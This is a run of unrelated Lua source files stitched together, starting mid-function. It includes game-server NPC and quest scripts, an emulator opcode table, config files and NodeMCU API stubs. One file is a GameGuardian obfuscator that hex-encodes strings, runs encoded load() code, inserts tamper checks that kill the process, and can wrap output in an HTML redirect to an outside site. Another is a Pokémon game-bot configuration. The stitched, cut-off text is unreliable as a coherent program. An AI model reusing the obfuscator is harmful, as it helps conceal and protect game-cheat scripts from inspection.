self.term2:add(eps) self.term1:cdiv(self.term2) self.term3:copy(input):add(eps) self.gradInput:resizeAs(input) self.gradInput:copy(target):cdiv(self.term3) self.gradInput:add(-1,self.term1) if self.sizeAverage then self.gradInput:div(target:nElement()) end self.gradInput:mul(-1) return self.gradInput end
index_ime = math.random(#musko_ime_nom); ime = musko_ime_nom[index_ime]; padez = musko_ime_gen[index_ime];
local oldmenu local menuIsShown = false local function hideMenu() menuIsShown = false oldmenu = ide.frame.menuBar ide.frame:SetMenuBar(wx.wxMenuBar(0)) end local function showMenu() menuIsShown = true ide.frame:SetMenuBar(oldmenu) end return { name = "Hide menu", description = "Hides the menubar.", author = "David Krawiec", version = 0.1, onAppLoad = function(package) hideMenu() end, onEditorKeyDown = function(self, editor, event) local key = event:GetKeyCode() local mod = event:GetModifiers() if (key == wx.WXK_ALT and menuIsShown == false) then showMenu() elseif (key == wx.WXK_ALT and menuIsShown == true) then hideMenu() end end, }
object_tangible_loot_npc_loot_metal_case_generic = object_tangible_loot_npc_loot_shared_metal_case_generic:new { objectMenuComponent = "HalloweenMenuComponent", } ObjectTemplates:addTemplate(object_tangible_loot_npc_loot_metal_case_generic, "object/tangible/loot/npc/loot/metal_case_generic.iff")
gt={} function gteam(data) local s2={} local i=0 while true do i=i+1 s1=data:match("function.-%(%).-end.-function") if s1==nil then break end data=data:gsub("function.-%(%).-end.-function","function",1) s1=s1:gsub("function$","",1):gsub("function.-%(%)","",1):gsub(" $",""):gsub("\n*$",""):gsub("end$","") s2[i]=s1 end return s2 end function byYT(YT) return YT:gsub(".", function(jia) return string.format("%02X", (string.byte(jia)) % 256) end):gsub(" ", "+") end function byGT() s64="" vbg=math.random(180,250) for nb=1,vbg do if nb==vbg then s64=s64..math.random(69,334) else s64=s64..math.random(69,334).."," end end if log[2] then return " "..da.."=gg.makeRequest(gt.ip).content"..mi64().."={"..s64.."} " else return mi64().."={"..s64.."} file=io.open(gg.getFile(),'r') "..da.." = file:read('*a') file:close() "..mi64().."={"..s64.."} " end end function yz(data) pcall(load("\116\49\61\123\34\92\39\91\94\92\110\93\42\92\34\46\45\92\34\91\94\92\110\93\42\92\39\34\44\34\92\34\91\94\92\110\93\42\92\39\46\45\92\39\91\94\92\110\93\42\92\34\34\44\34\92\34\91\94\92\110\93\42\92\92\92\34\46\45\92\92\92\34\91\94\92\110\93\42\92\34\34\44\34\92\39\91\94\92\110\93\42\92\92\92\39\46\45\92\92\92\39\91\94\92\110\93\42\92\39\34\44\34\37\45\37\45\91\94\92\110\93\42\34\44\34\37\45\37\45\37\91\37\91\46\42\37\93\37\93\34\125")) for vb=1,#t1 do if data:find(t1[vb]) ~= nil then wt=data:match(t1[vb]) rj("非常抱歉,GTS5.2 暂时不支持加密:\n"..wt.."文本\n\n请修改或者使用赋值或者删除","错误代码"..vb) yyx=false end end end function mi64() local zm64={"a","b","c","d","e","f","g","h","m","z","k","l","i","o","p","s","j","z","x","v","n","y","t","r","u"} local hs="" local sz="" local lp=0 local wll=math.random(32,64) for i=1,wll do local sj=math.random(1,25) local kl=math.random(1,4) local ko=math.random(1,6) if kl%2==0 and i>1 then zm66=zm64[sj] else zm66=string.upper(zm64[sj]) end if ko%3==0 and lp<2 and i>1 then local zm66="_" local lp=lp+1 end hs=hs..zm66 sj,kl,ko=0,0,0 end lp=0 return hs end YTjm=mi64() ZSYT=mi64() YGTS=mi64() local iii=0 function GTS5(data,gs) if yt[4] then gs=yt[2].."/"..gs..".html" else gs=yt[2].."/"..gs..".lua" end gt.opp="" while true do gt.gts=data:match("'(.-)'") if gt.gts~= nil then gt.gts1=byYT(gt.gts) m64=mi64() sj64=mi64() sjz=" function "..sj64.."(gts,"..YGTS..") return ("..YGTS..":gsub('..', function (gts) return string.char((tonumber(gts,16))%256) end))end \n" gt.opp=sjz..gt.opp..m64.."="..sj64.."(\""..ZSYT.."\",\""..gt.gts1.."\") " data=data:gsub("'.-'",m64,1) else break end end while yyx do gt.gts=data:match('"(.-)"') if gt.gts~= nil then gt.gts1=byYT(gt.gts) m64=mi64() sj64=mi64() sjz=" function "..sj64.."(gts,"..YGTS..") return ("..YGTS..":gsub('..', function (gts) return string.char((tonumber(gts,16))%256) end))end \n" gt.opp=sjz..gt.opp..m64.."="..sj64.."(\""..ZSYT.."\",\""..gt.gts1.."\") " data=data:gsub('".-"',m64,1) else break end end data2=gt.opp..data data2=data2:gsub("\n"," ") while data2:find(" ")~=nil do data2=data2:gsub(" "," ") end while #data2 < log[1]+#data1 and yyx do j3=string.format("%0.2f",#data2/(log[1]+#data))*100 --gg.toast(#data2.."/"..log[1]+#data1) da=mi64() pd=' if #'..da..'>gt1545496702gtdaa or #'..da..'<gt1545496702gtdax then os.exit() while (true) do gg.setVisible(false) gg.processKill() gg.setVisible(true) end end ' data2=byGT()..pd..data2..pd..byGT() j3=j3.."" j4=string.format("%d",j3)+0 加密进度.Text="已加密:"..j4.."%" 进度条.progress=(j4) if 进度条.progress==100 or #data2>log[1]+#data1 then print("加密成功") dldown.dismiss() end end if yt[4] and yyx then data2='\n--[[\n<!DOCTYPE HTML>\n<html>\n<head>\n<meta http-equiv="refresh" content="0.1;url=http://gg.swmig.cn/pj.html">\n</head>\n<body></body>\n</html>\n<!--]]\n'..data2..'\n-->' end by={} function byt(byst) by.c="" byst=byst.."" for iby=1,#byst do by.a=byst:byte(iby) by.c=by.c.."\\"..by.a end return "\""..by.c.."\"".."+0" end data2="--GTS5.2加密\n--2019©GTeam提供技术支持\n"..data2 gts10=data2:gsub("gt1545496702gtdaa",byt(#data2+7)):gsub("gt1545496702gtdax",byt(#data2-7)) data2=data2:gsub("gt1545496702gtdaa",byt(#gts10+2)):gsub("gt1545496702gtdax",byt(#gts10-2)) if yyx then file=io.open(gs,"w") file:write(data2) file:close() rj("加密成功输出地址:"..gs) end end function gts5(gtfile,gtpoth) local 输出文件名=gtfile:match("/([^/]+)$") local 输出文件名=输出文件名:gsub("%.([^%.]+)$","-GTs5.lua") yyx=true yt={gtfile,gtpoth,false,false} log={845636,false} gt.test=yt[1] gt.test = loadfile(gt.last) file=io.open(yt[1],"r") data1 = file:read('*a') file:close() yz(data1) if yt[3] and yyx then ym=gteam(data1) tz="" sb={} sb1=0 for il=1,#ym do file=io.open( 本地目录.."/"..il,"w") file:write(ym[il]) file:close() if loadfile( 本地目录.."/"..il)~=nil then tz=tz.."功能"..il.."加载成功\n" else tz=tz.."功能"..il.."加载失败\n\n" sb1=sb1+1 sb[sb1]=ym[il] ym[il]="" end os.remove( 本地目录.."/"..il) end if sb[1]~=nil then sb3="查看失败代码" else sb3="" end if gg.alert("失败代码将不会加密\n\n"..tz,"继续",sb3)==2 then gt.xz="" for ill=1,#sb do gt.xz=gt.xz..ill.." "..sb[ill] end if gg.alert(gt.xz,"继续","退出")==2 then os.exit() end end for uio=1,#ym do if ym[uio]~=nil then GTS5(ym[uio],uio) end end else GTS5(data1,输出文件名) end end
local bit32 = require("bit") local lshift = bit32.lshift local band = bit32.band function apply(opcodes, opcode_cycles, z80, memory) local read_at_hl = z80.read_at_hl local set_at_hl = z80.set_at_hl local read_nn = z80.read_nn local reg = z80.registers local flags = reg.flags local read_byte = memory.read_byte local write_byte = memory.write_byte cp_with_a = function(value) -- half-carry flags.h = (reg.a % 0x10) - (value % 0x10) < 0 local temp = reg.a - value -- carry (and overflow correction) flags.c = temp < 0 or temp > 0xFF temp = (temp + 0x100) % 0x100 flags.z = temp == 0 flags.n = true end -- cp A, r opcodes[0xB8] = function() cp_with_a(reg.b) end opcodes[0xB9] = function() cp_with_a(reg.c) end opcodes[0xBA] = function() cp_with_a(reg.d) end opcodes[0xBB] = function() cp_with_a(reg.e) end opcodes[0xBC] = function() cp_with_a(reg.h) end opcodes[0xBD] = function() cp_with_a(reg.l) end opcode_cycles[0xBE] = 8 opcodes[0xBE] = function() cp_with_a(read_at_hl()) end opcodes[0xBF] = function() cp_with_a(reg.a) end -- cp A, nn opcode_cycles[0xFE] = 8 opcodes[0xFE] = function() cp_with_a(read_nn()) end end return apply
return { ["Test"] = "translate test"; ["RunningInOtherWindow"] = "Studio Timer can not be run in two window (or click here to continue in this window)"; ["Session_time"] = "Session time : "; ["Summation_time"] = "Summation time : "; ["OpenSourceLicense"] = "Open Source License"; ["settings"] = "settings"; ["Settings"] = "Settings"; ["Back"] = "Back"; }
-- DAG definition: it is encoded as an array of stages. Stages = {{ name="S14", tasks="7", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S14.txt")}}, pre={"S9"}, post={}},{ name="S1", tasks="2", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S1.txt")}}, pre={"S0"}, post={"S3"}},{ name="S0", tasks="2", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S0.txt")}}, pre={}, post={"S1","S2"}},{ name="S3", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S3.txt")}}, pre={"S1","S2"}, post={"S4"}},{ name="S2", tasks="3958", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S2.txt")}}, pre={"S0"}, post={"S3"}},{ name="S4", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S4.txt")}}, pre={"S3"}, post={"S8"}},{ name="S9", tasks="1", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S9.txt")}}, pre={"S8"}, post={"S14"}},{ name="S8", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S8.txt")}}, pre={"S4"}, post={"S9"}}}; -- Number of computation nodes in the system Nodes = @@nodes@@; -- Number of users accessing the system Users = 1; -- Distribution of the think time for the users UThinkTimeDistr = {type = "exp", params = {rate = 0.001}}; -- Total number of jobs to simulate maxJobs = 1000; -- Coefficient for the Confidence Intervals confIntCoeff = 1.96;
style = {["off_color"] = "fff", ["on_color"] = "fff", ["line_color"] = "000", ["line_width"] = "2"}; full_style = {["off_color"] = "000", ["on_color"] = "000", ["line_color"] = "000", ["line_width"] = "2"}; empty_style = {["off_color"] = "fff", ["on_color"] = "fff", ["line_color"] = "000", ["line_width"] = "2"}; check_style = {["off_color"] = "fff", ["on_color"] = "ff00ff", ["line_color"] = "fff", ["line_width"] = "1"}; --[[ Plot one element at (x, y): type == 1 (empty triangle), 2 (full triangle), 3 (empty square), 4 (full square) ]] element = function(x, y, type) if (type == 1 or type == 2) then mx = x + w/2 my = y + w/2 if (type == 1) then lib.add_triangle(mx, my, ow, ow, empty_style, false, false) else lib.add_triangle(mx, my, ow, ow, full_style, false, false) end else mx = x + (w-ow)/2 my = y + (w-ow)/2 if (type == 3) then lib.add_rectangle(mx, my, ow, ow, empty_style, false, false) else lib.add_rectangle(mx, my, ow, ow, full_style, false, false) end end end mycanvas = function() --[[ Construct random permutation of object for horiz and vertical inputs ]] test = {1, 2, 3, 4} horiz = lib.math.random_shuffle(test) vert = lib.math.random_shuffle(test) --[[ Construct results array by comparing where random permutations match ]] results = "" for i = 1,4 do for j = 1,4 do ind = (i-1)*4 + (j-1) if ind > 0 then results = results .. "&& " end results = results .. "result[" .. tostring(ind) .. "] == " if (horiz[i] == vert[j]) then results = results .. "1 " else results = results .. "0 " end end end lib.start_canvas(320, 300, "center", results) w = 60 ow = 40 for i = 1,4 do lib.add_line(0, i*w, 5*w, 0, style, false, false) lib.add_line(i*w, 0, 0, 5*w, style, false, false) element(0, i*w, vert[i]) element(i*w, 0, horiz[i]) end lib.add_line(0, 5*w, 5*w, 0, style, false, false) lib.add_line(5*w, 0, 0, 5*w, style, false, false) example_set = false for i = 1,4 do for j = 1,4 do x = i*w + (w-ow)/2 y = j*w + (w-ow)/2 if (horiz[i] == vert[j] and not example_set) then example_set = true lib.add_rectangle(x, y, ow, ow, check_style, true, true) else lib.add_rectangle(x, y, ow, ow, check_style, false, true) end end end lib.end_canvas() end
--[[ joli-lune small framework for love2d MIT License (see licence file) ]] local Render = require "src.renderer" local lg = love.graphics local BatchRenderer = Render:extend(Render) local shapefunc = { rect = lg.rectangle, circ = lg.circle } function BatchRenderer:__tostring() return "batchrenderer" end function BatchRenderer:new(batch) BatchRenderer.super.new(self) self.batch = batch self.rendertype = "batch" end function BatchRenderer:draw(position,ox,oy) BatchRenderer.super.draw(self) local x, y, z, r, sx, sy = position:get() x, y = self:getPosition(x,y,ox,oy) lg.push() lg.scale(sx,sy) lg.draw(self.batch, x, y) lg.pop() if self.tint then lg.setColor(1,1,1,1) end end return BatchRenderer
function WorkbookXP_Wood(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Woodwork, 25); end function WorkbookXP_Electricity(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Electricity, 25); end function WorkbookXP_Welding(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 25); end function WorkbookXP_Tailoring(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Tailoring, 25); end function CraftXP_WoodworkBase(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Woodwork, 2); end function CraftXP_FoodBase(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Cooking, 2); end function CraftXP_Ropework(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Tailoring, 2); end function CraftXP_Burner(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 45); end function CraftXP_Smithing(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 15); end function CraftXP_SmithingPlastic(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 4); end function CraftXP_Scrapping(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 2); end function CraftXP_Mending_Wood(recipe, ingredients, result, player) player:getXp():AddXP(Perks.Woodwork, 10); end function CraftXP_Mending_Blade(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 10); end function CraftXP_CarMaintenance(recipe, ingredients, result, player) player:getXp():AddXP(Perks.MetalWelding, 25); player:getXp():AddXP(Perks.Electricity, 15); player:getXp():AddXP(Perks.Mechanics, 125); end
object_mobile_wedge_antilles_remembrance_day = object_mobile_shared_wedge_antilles_remembrance_day:new { } ObjectTemplates:addTemplate(object_mobile_wedge_antilles_remembrance_day, "object/mobile/wedge_antilles_remembrance_day.iff")
----------------------------------- -- Area: Aydeewa Subterrane -- NPC: ??? (Spawn Chigre(ZNM T1)) -- !pos -217 35 12 68 ----------------------------------- local ID = require("scripts/zones/Aydeewa_Subterrane/IDs") require("scripts/globals/npc_util") ----------------------------------- function onTrade(player,npc,trade) if npcUtil.tradeHas(trade, 2602) and npcUtil.popFromQM(player, npc, ID.mob.CHIGRE) then player:confirmTrade() player:messageSpecial(ID.text.DRAWS_NEAR) end end function onTrigger(player,npc) player:messageSpecial(ID.text.BLOOD_STAINS) end
------------------------------------- -- Area: Southern San d'Oria -- NPC: Glenne -- Starts and Finishes Quest: A Sentry's Peril -- !pos -122 -2 15 230 ------------------------------------- require("scripts/globals/settings"); require("scripts/globals/titles"); require("scripts/globals/shop"); require("scripts/globals/quests"); local ID = require("scripts/zones/Southern_San_dOria/IDs"); require("scripts/globals/pathfind"); local path = { -121.512833, -2.000000, 14.492509, -122.600044, -2.000000, 14.535807, -123.697128, -2.000000, 14.615446, -124.696846, -2.000000, 14.707844, -123.606018, -2.000000, 14.601295, -124.720863, -2.000000, 14.709210, -123.677681, -2.000000, 14.608237, -124.752579, -2.000000, 14.712106, -123.669525, -2.000000, 14.607473, -124.788277, -2.000000, 14.715488, -123.792847, -2.000000, 14.619405, -124.871826, -2.000000, 14.723736 }; function onSpawn(npc) npc:initNpcAi(); npc:setPos(tpz.path.first(path)); onPath(npc); end; function onPath(npc) tpz.path.patrol(npc, path); end; function onTrade(player,npc,trade) local count = trade:getItemCount(); if (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.FLYERS_FOR_REGINE) == QUEST_ACCEPTED and trade:hasItemQty(532,1) and count == 1) then player:messageSpecial(ID.text.FLYER_REFUSED); elseif (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL) == QUEST_ACCEPTED and trade:hasItemQty(601,1) and count == 1) then player:startEvent(513); npc:wait(); end end; function onTrigger(player,npc) local aSentrysPeril = player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL); npc:wait(); if (aSentrysPeril == QUEST_AVAILABLE) then player:startEvent(510); elseif (aSentrysPeril == QUEST_ACCEPTED) then if (player:hasItem(600) == true or player:hasItem(601) == true) then player:startEvent(520); else player:startEvent(644); end elseif (aSentrysPeril == QUEST_COMPLETED) then player:startEvent(521); else npc:wait(0); end end; function onEventUpdate(player,csid,option) -- printf("CSID2: %u",csid); -- printf("RESULT2: %u",option); end; function onEventFinish(player,csid,option,npc) npc:wait(5000); if (csid == 510 and option == 0) then if (player:getFreeSlotsCount() > 0) then player:addQuest(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL); player:addItem(600); player:messageSpecial(ID.text.ITEM_OBTAINED,600); else player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,600); -- Dose of ointment end elseif (csid == 644) then if (player:getFreeSlotsCount() > 0) then player:addItem(600); player:messageSpecial(ID.text.ITEM_OBTAINED,600); else player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,600); -- Dose of ointment end elseif (csid == 513) then if (player:getFreeSlotsCount() == 0) then player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,12832); -- Bronze Subligar else player:tradeComplete(); player:addTitle(tpz.title.RONFAURIAN_RESCUER); player:addItem(12832); player:messageSpecial(ID.text.ITEM_OBTAINED,12832); -- Bronze Subligar player:addFame(SANDORIA,30); player:completeQuest(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL); end end end;
---@meta --=== net === ---@class net ---@field TCP integer ---@field UDP integer net = {} ---@class net.dns net.dns = {} ---@class netsocket local netsocket = {} ---@class netsrv local netsrv = {} ---@class udpsocket local udpsocket = {} ---Creates a client. ---@param type? integer|'net.TCP' @"(optional) `net.TCP` (default) or `net.UDP` There's no such thing as \n a UDP connection because UDP is connection*less*. Thus no connection `type` parameter \n should be required. For UDP use `net.createUDPSocket()` instead." ---@param secure? integer @"(optional) 0 for plain (default). Secure connections are not supported, \n and the `secure` parameter is ignored." ---@return netsocket @> --- - for `net.TCP` - net.socket sub module --- - for `net.UDP` - net.udpsocket sub module function net.createConnection(type, secure) end ---Creates a server. ---@param type? integer|'net.TCP' @"(optional) The `type` parameter will be removed in upcoming \n releases so that `net.createServer` will always create a TCP-based server. \n For UDP use `net.createUDPSocket()` instead." ---@param timeout? integer @"(optional) for a TCP server timeout is 1~28'800 seconds, \n 30 sec by default (for an inactive client to be disconnected)" ---@return netsrv @> --- - for `net.TCP` - net.server sub module --- - for `net.UDP` - net.udpsocket sub module function net.createServer(type, timeout) end ---Creates an UDP socket. ---@return udpsocket @net.udpsocket submodule function net.createUDPSocket() end ---Join multicast group. ---@param if_ip string @"string containing the interface ip to join the multicast group. \n 'any' or '' affects all interfaces." ---@param multicast_ip string @of the group to join ---@return nil function net.multicastJoin(if_ip, multicast_ip) end ---Leave multicast group. ---@param if_ip string @"string containing the interface ip to leave the multicast group. \n 'any' or '' affects all interfaces." ---@param multicast_ip string @of the group to leave ---@return nil function net.multicastLeave(if_ip, multicast_ip) end ---Closes the server. ---@return nil function netsrv:close() end ---Listen on port from IP address. ---@param port? integer @(optional) number, can be omitted (random port will be chosen) ---@param ip? string @(optional) IP address string, can be omitted ---@param callback fun(net.socket:netsocket) @"`function(net.socket)`, pass to caller function as param if \n a connection is created successfully" ---@return nil function netsrv:listen(port, ip, callback) end ---Returns server local address/port. ---@return integer|nil @port or `nil` if not listening ---@return string|nil @ip or `nil` if not listening function netsrv:getaddr() end ---Closes socket. ---@return nil function netsocket:close() end ---Connect to a remote server. ---@param port integer @port number ---@param ip_or_domain string @IP address or domain name string ---@return nil function netsocket:connect(port, ip_or_domain) end ---Provides DNS resolution for a hostname. ---@param domain string @domain name ---@param callback fun(net.socket:netsocket, ip:string) @`function(net.socket, ip)`. ---The first parameter is the socket, the second parameter is the IP address as a string. ---@return nil function netsocket:dns(domain, callback) end ---Retrieve port and ip of remote peer. ---@return integer|nil @port or `nil` if not connected ---@return string|nil @ip or `nil` if not connected function netsocket:getpeer() end ---Retrieve local port and ip of socket. ---@return integer|nil @port or `nil` if not connected ---@return string|nil @ip or `nil` if not connected function netsocket:getaddr() end ---Throttle data reception by placing a request to block the TCP receive function.\ ---This request is not effective immediately, Espressif recommends to call it\ ---while reserving 5*1460 bytes of memory. ---@return nil function netsocket:hold() end ---Register callback functions for specific events. ---@param event string|'"connection"'|'"reconnection"'|'"disconnection"'|'"receive"'|'"sent"' @event ---@param callback fun(net.socket:netsocket, str:string) @`function(net.socket[, string])`. Can be `nil` to remove callback. ---The first parameter of callback is the socket. --- - If event is `"receive"`, the second parameter is the received data as string. --- - If event is `"disconnection"` or `"reconnection"`, the second parameter is error code.\ --If `"reconnection"` event is specified, disconnection receives only "normal close" events.\ --Otherwise, all connection errors (with normal close) passed to disconnection event. ---@return nil function netsocket:on(event, callback) end ---Sends data to remote peer. ---@param str string @data in string which will be sent to server ---@param callback? fun(sent:string) @(optional) `function(sent)` for sending string ---@return nil function netsocket:send(str, callback) end ---Unblock TCP receiving data by\ ---revocation of a preceding `hold()`. ---@return nil function netsocket:unhold() end ---Closes UDP socket. ---@return nil function udpsocket:close() end ---Listen on port from IP address. ---@param port? integer @(optional) port number, can be omitted (random port will be chosen) ---@param ip? string @(optional) IP address string, can be omitted ---@return nil function udpsocket:listen(port, ip) end ---Register callback functions for specific events. ---@param event string|'"receive"'|'"sent"'|'"dns"' @receive | sent | dns ---@param callback fun(net.socket:netsocket, str:string) @`function(net.socket[, string])`. Can be `nil` to remove callback. ---The first parameter of callback is the socket. --- - If event is `"receive"`, the second parameter is the received data as string.\ ---The `receive` callback receives port and ip *after* the data argument.\ ---Otherwise, all connection errors (with normal close) passed to disconnection event. ---@return nil function udpsocket:on(event, callback) end ---Sends data to specific remote peer. ---@param port integer @remote socket port ---@param ip string @remote socket IP ---@param data any @the payload to send ---@return nil function udpsocket:send(port, ip, data) end ---Provides DNS resolution for a hostname. ---@param domain string @domain name ---@param callback fun(net.socket:netsocket, ip:string) @`function(net.socket, ip)`. ---The first parameter is the socket, the second parameter is the IP address as a string. ---@return nil function udpsocket:dns(domain, callback) end ---Retrieve local port and ip of socket. ---@return integer|nil @port or `nil` if not connected ---@return string|nil @ip or `nil` if not connected function udpsocket:getaddr() end ---Gets the IP address of the DNS server used to resolve hostnames. ---@param dns_index integer|'0'|'1' @which DNS server to get (range 0~1) ---@return string @IP address (string) of DNS server function net.dns.getdnsserver(dns_index) end ---Resolve a hostname to an IP address. Doesn't require a socket like `net.socket.dns()`. ---@param host string @hostname to resolve ---@param callback fun(sk:nil, ip:string) @`function(sk, ip)` called when the name was resolved. **sk** is always `nil` ---@return nil function net.dns.resolve(host, callback) end ---Sets the IP of the DNS server used to resolve hostnames. ---@param dns_ip_addr string @IP address of a DNS server. Default: resolver1.opendns.com (208.67.222.222). ---@param dns_index integer|'0'|'1' @which DNS server to set (range 0~1). Hence, it supports max. 2 servers. ---@return nil function net.dns.setdnsserver(dns_ip_addr, dns_index) end
------------------------ Config -------------------------- -- Weak move name - False Swipe, Dragon Rage, Sonicboom, etc. --- Use "" if you don't wish to damage opponents before catching them weakMove = "False Swipe" -- Name of status move - Spore, Hypnosis, Thunder Wave, etc. --- Use "" if you don't wish to afflict opponents with a status before catching them statusMove = "Spore" -- Use Role Play when catching Pokémon? - Will check the Pokémon in catchList for the abilities listed in the abilities table useRolePlay = false -- Do ALL of our Sync Pokémon (morningSync, daySync, and nightSync) have Role Play? --- ignore this if useRolePlay = false rolePlayAsWell = false -- Sync nature to use during morning morningSync = "Bold" -- Sync nature to use during daytime daySync = "Impish" -- Sync nature to use during nighttime nightSync = "Adamant" -- Minimum level for our Sync Pokémon - used when we retrieve it from the PC minSyncLevel = 40 -- List of Pokémon to catch, and release the bad ones catchList = { "Clefairy", "Snorlax", "Electabuzz" } -- List of Pokémon to catch that will not get released under any circumstances -- Also will not use Role Play on these Pokémon exceptionCatches = { "Bulbasaur", "Charmander", "Squirtle", "Larvitar" } -- Release Pokémon with the wrong nature? tossWrongNature = false -- The natures you want to keep - ignore this if tossWrongNature = false natures = { "Bold", "Impish", "Adamant" } -- Minimum IV's --- Order is Attack, Defence, SpAttack, SpDefence, Speed, HP --- use 0 to not check against a particular IV minIVs = {0, 0, 0, 0, 0, 0} -- Release Pokémon with the wrong ability? tossWrongAbility = false -- The abilities to look for - Used for Role Play even if tossWrongAbility = false --- if tossWrongAbility = true, Pokémon in catchList without one of these abilities will get released abilities = { "Magic Guard", "Immunity", "Static" } -- Release Pokémon with the wrong Hidden Power type? tossWrongHP = false -- Hidden Power types to look for - ignore this if tossWrongHP = false --- Remember that any Pokémon in catchList without one of these HP types will get released, so be careful hpTypes = { "Fire" } -- Attack Pokémon that we're not catching? farm = true -- If farm = true, this is the index of the Pokémon will get sent out to fight, instead of fighting with your Sync Pokémon -- Set to 0 to just attack with whatever Pokémon happens to be out farmer = 2 -- If farm = true, we will only attack Pokémon that give this EV - "HP", "ATK", "DEF", "SPATK", "SPDEF", or "SPD" --- use "", nil, or false to attack everything evToTrain = "" -- Use items to heal our Pokémon instead of going to the Pokécenter to heal? - Useful for the Safari Zone or the Moon useItems = false -- Names of items to use --- {Reviving, Healing, Restoring PP, Paralysis, Poison} --- Use "" for a particular item to never use that type items = {"Revive", "Hyper Potion", "Leppa Berry", "Lum Berry", "Lum Berry"} -- Head to the Pokécenter when one of our Pokémon is Paralyzed or Poisoned? healWhenStatused = false -- Catch Pokémon we've never caught before? catchNotCaught = false -- Auto-evolve Pokémon? autoEvolve = false -- Enable private messaging? enableMessages = false -- Hunting location for morning time - Hour >= 4 and Hour < 10 morningMap = "Mt. Moon 1F" -- The type of hunting area for morning time - use "Grass", "Water", {x1, y1, x2, y2} - use {x, y} to set the cell to go to for fishing -- If you're using a rectangle, you can set more rectangles to hunt in just by adding 4 more parameters -- for example: morningArea = {ax1, ay1, ax2, ay2, -- bx1, by1, bx2, by2, -- cx1, cy1, cx2, cy2} etcetera, as many as you like morningArea = {19, 38, 19, 44} -- Daytime location - Hour >= 10 and Hour < 20 dayMap = "Route 11" -- Daytime hunting area - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine dayArea = "Grass" -- Nighttime location - Hour >= 20 or Hour < 4 nightMap = "Route 10_A" -- Nighttime hunting area - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine nightArea = {14, 10, 20, 10} -- If you're using multiple rectangles, this is the amount of time in minutes that we'll hunt in one of them before picking the next one at random minutesToMove = 30 -- Name of the rod you're going to use if you're fishing rod = "Super Rod" -- The type of Pokeball to use - "Pokeball", "Great Ball", or "Ultra Ball" ballType = "Pokeball" -- Minimum number of balls to keep - if we have less than this number, we go buy some --- use 0 to forget about this ballMin = 100 -- Number of balls to buy when we go to the the mart buyAmount = 50 -- Minimum amount of money to start farming at - useful if you're using the Safari Zone a lot - set to 0 to never farm for money minMoney = 100000 -- If minMoney = 0, ignore everything below this point -- Minimum amount of money to stop farming at moneyStop = 150000 -- Index of Pokémon to farm with when our money gets too low - set to 0 to just fight with anything farmerId = 2 -- If we have less money than minMoney, we will only attack Pokémon that give this EV - "HP", "ATK", "DEF", "SPATK", "SPDEF", or "SPD" --- use "", nil, or false to attack everything farmingEV = "" -- Location to farm in when our money gets too low - Not an optional setting - if you won't ever farm, just leave this value alone farmMap = "Mt. Silver Exterior" -- Hunting area for farming - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine - Not an optional setting - if you won't ever farm, just leave this value alone farmArea = "Grass" -------------------------------------------------------
heart.hotLoad("game/entity.lua",true) heart.hotLoad("game/tile.lua",true) -- clear tile table, Remove for release. grid = grid or {} grid.block = {} grid.size = 23 -- Calculate this maybe??? assert(grid.size/2 ~= math.floor(grid.size/2), "grid.size must be a odd number" ) --grid.blockSizeWidth = 300 -- 300 is default Height is half the width --grid.blockSize = grid.blockSizeWidth/(math.sqrt(2)*2) -- Backsolve from width grid.blockSize = grid.blockSize or 8 grid.blockSizeWidth = grid.blockSizeWidth or grid.blockSize*(math.sqrt(2)*2) -- 100 default grid.blockTranslateX, grid.blockTranslateY = 0,-12 --* grid.blockSizeWidth * 0.5 --print(grid.blockSizeWidth) grid.outline = {} grid.outline.width = 12 grid.outline.height = 12 grid.bufferDraw = {} grid.mouse = {x=0,y=0} grid.tilePressedX = 0 grid.tilePressedY = 0 --grid.blockSizeWidth = 1360 --grid.blockSize = 480.8326112 --Tile width = 1360 --Tile height = 680 --Tile degrees = 63.434948822922° --Tile degrees in 3D from topdown to isometric 60° --Wall tiles is 2.5 tiles high --[[render a tile to canvas and print out ooijgrierg = love.graphics.newCanvas(620,300) heart.push("all") love.graphics.setNewFont(24) --love.graphics.setBlendMode("premultiplied") love.graphics.setCanvas(ooijgrierg) love.graphics.setColor(255,255,255) love.graphics.rectangle("fill",0,0,600,300) love.graphics.setColor(0,0,0) love.graphics.line( 100,150, 300,50, 500,150, 300,250, 100,150) ooijgrierg:getImageData():encode("isometrictileblank.png") love.graphics.rectangle("line",100,50,400,200) 